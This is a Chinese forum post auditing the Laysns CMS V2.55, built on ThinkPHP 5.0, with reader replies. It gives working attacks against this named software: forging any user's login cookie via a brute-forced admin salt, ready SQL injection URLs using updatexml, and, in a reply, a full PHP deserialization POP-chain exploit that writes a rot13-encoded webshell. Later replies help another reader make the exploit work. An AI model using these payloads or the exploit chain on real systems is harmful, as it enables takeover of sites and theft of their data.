Laysns 建站系统审计

0x01 前言

前两天在CNVD上看到该建站系统存在远程代码执行漏洞,遂下载下来审计了一番,代码编写风格有些混乱,代码量不多,稍微看了看就发现了几个比较严重的问题,撰写此文记录一下。

0x02 介绍

Laysns是一款轻量级建站系统,使用thinkphp 5.0框架开发。
【官 网】https://www.laysns.com/
【下载地址】LaySNS内容社区综合系统V2.55正式版全网首发 - 让建站更简单 - LaySNS
【测试环境】php 5.6.27、mysql5.0.11、apache2.2
【测试版本】Laysns V 2.55


0x03 漏洞统计

0x04 漏洞分析

任意用户登录

由于管理员salt 泄漏或可被爆破,从而导致可以伪造任意前台用户身份信息进行登录。
当用户登录的时候,commom\controller\HomeBase.php function systemlogin() 对用户身份信息进行检查,如果检查到用户未登录则进入user\controller\login.php index() 判断用户登录密码是否正确,核对成功则调用systemSetKey($cookie)设置cookie信息;在这里检查用户登录状态存在问题,可以被我们利用。
image
image
通过以上代码我们知道:

Cookie = encrypt(serialize(userinfo))

调试分析代码,userinfo 是这样一个数组:

$userinfo = array('id' => 1, 'status' => 1, 'point' => 2, 'username' => 'admin', 'userhead' => '/public/images/default.png', 'grades' => 1);

其中userinfo[‘id’] 和userinfo[‘username’]是身份验证的关键值,经过调试测试,userinfo[‘id’]是身份验证的唯一值,只要我们知道用户id就可以伪造任意用户身份,userid是一个等差数列,首项是adminid=1,公差为1,所以所有用户的userid理论上都可以遍历获取。用户cookie使用encrypt 函数进行加密,理解了encrypt函数的实现我们就可以伪造用户cookie了。encrypt函数在加密的过程中使用了adminsalt作为计算因子,而adminsalt在安装的时候生成,是一个固定的字符串+cookpre[5]前缀构成。cookiepre[5]有两种方法获取,一是前台用户登录成功的时候查看 cookie信息直接获取,二是根据生成算法[a-zA-Z]**5爆破,时间复杂度log52(5)应该很快。
image
漏洞利用:
image


反序列化漏洞

分析前文任意用户登录漏洞的时候,我们知道存在cookie信息的反序列化操作,而该建站系统使用了thinkphp框架,可以利用它的反序列化链进行任意文件删除和远程代码执行(linux),这里说一下远程代码执行的利用,不再做重复分析具体参考网上其他文章。ThinkPHP v5.0.x 反序列化利用链挖掘-安全客 - 安全资讯平台
复现步骤和任意用户登录相同,只需要把反序列化要利用的对象添加到用户信息数组中,重新生成cookie即可。
image
image
POC:


生成文件名由以下构成:

rot13(shellcontent)+md5("tag_"+md5(File.tag))
假如poc 中File类这样初始化:
image
生成的shell文件为:

http://test.com/uploads/nn<?cuc cucvasb();?>342c486abc21b67e04718bdecce120f1.php

Md5(‘tag_’.md5(‘good’))=342c486abc21b67e04718bdecce120f1
image
SQL注入

该建站系统风格代码混乱,开发并没有按照thinkphp官方文档标准写法来写,由此导致SQL注入漏洞,三个漏洞全都出自user/controller/index控制器中,漏洞比较简单,一眼就可以看出,没什么好分析,详情参考截图和 poc。

SQL注入漏洞一

`

http://test.com/LaySNS/home/2 and updatexml(1,concat(0x7e,user(),0x7e),1) #

image
image
SQL注入漏洞二:

http://test.com/LaySNS/user/index/getartcollect?ctype=updatexml(1,concat(0x7e,user()),1))-- -&limit=1&page=2
image
image
SQL注入漏洞三:
http://test.com/LaySNS/user/index/getmycollect?ctype=updatexml(1,concat(0x7e,user()),1))-- -&limit=1&page=2
image
image

5 个赞

下午看到先知有人把windows thinkphp5.0 rce分析也发了,调试了一下这里把poc也分享一下吧

<?php
/*
refer://https://www.anquanke.com/post/id/196364
author:flystart
*/
namespace think\model;

abstract class Relation{}

namespace think\cache;
abstract class Driver
{
 
}


namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
		protected $tag;
	    protected $expire=0;
	    protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => '',
        'data_compress' => false,
    ];
	public function __construct()
	{
		$this->options['path'] = 'php://filter/write=string.rot13/resource='; //resource=upload/
		$this->tag= "good";
	}
}

class Memcached extends Driver{
 protected $handler = null;
 protected $tag;
 public function __construct()
    {
		$this->handler= new File();
		$this->tag= "mem"; //shell name = md5("tag_".md5("mem"))
    }
}
namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache{
 protected $handler = null; 
 protected $config  = [
	'expire'       => 3600, // session有效期
	'timeout'      => 0, // 连接超时时间(单位:毫秒)
	'persistent'   => true, // 长连接
        'session_name' => '<?cuc cucvasb();?>', // memcache key =shell content
    ];
	 public function __construct()
    {
		$this->handler= new Memcached();
    }
}

namespace think\console;
use think\session\driver\Memcache;
class Output{
    protected $styles = [
        'getAttr'
    ];
	private $handle = null;
	public function __construct()
    {
		$this->handle= new Memcache();
    }
}

namespace think\db;
use think\console\Output;
class Query
{
	  protected $model;
	 function __construct(){
		$this->model= new Output();
	 }
}
namespace think\model\relation;
use think\model\Relation;
use think\console\Output;
use think\Model;
use think\db\Query;
abstract class OneToOne extends Relation{
}
class HasOne extends OneToOne
{
	 protected $bindAttr = [];
	 protected $query;
	   function __construct(){
		$this->selfRelation = $this;
        $this->bindAttr = ["lin"=>"haha"];
		 $this->query  = new Query(); 
    }
}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
	protected $error;
	public $parent;
    function __construct(){
         $this->append = ["lin"=>"getError"];
		 $this->error = new HasOne();
		 $this->parent = new Output();
    }
}

namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;
use think\console\Output;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
$a=array('moneyid'=>'','order_number'=>new Windows(),'order_id'=>'','order_code'=>'');
$res= base64_encode(serialize($a));
echo $res;
$querydata  = unserialize(base64_decode($res));
//var_dump($querydata);
?>
2 个赞

大佬,使用你的poc生成base64替换了,bp发包但是没生成文件呀。我哪里姿势没对吗。

1 个赞

这个只是thinkphp5.0 pop chain,你需要利用admin salt 加密一下

这样吗?


姿势还是没对呀。还是admin salt加盐不是我这样操作的。

这样子,任意用户登录说的很清楚了,你仔细认真看看啊。

$obj = new Windows();
$user= array('id' => 1, 'status' => 1, 'point' => 2, 'username' => 'test', 'userhead' => '/public/images/default.png', 'grades' => 1,'obj'=>$obj);

$mode = $_GET['m'];
$salt = $_GET['salt'];
if($mode == 'en' && $salt!='')
{
    $key = $salt;
    $cook = encrypt(serialize($user),$key);
    echo $cook;
}
function encrypt($txt, $key = '')
{
    if (empty($txt)) {
        return $txt;
    }
    $key = md5($key);

喔喔,理解了。感谢楼主

请问楼主的代码截图是用什么工具呢?

FastStone

靓仔!文章分析很好!

想问一下这个贴图的工具是啥
image

FastStone

:smiley:thanks

内容分析非常不错,每一步都有去说到,我就比较懒了,能跳过直接就跳过了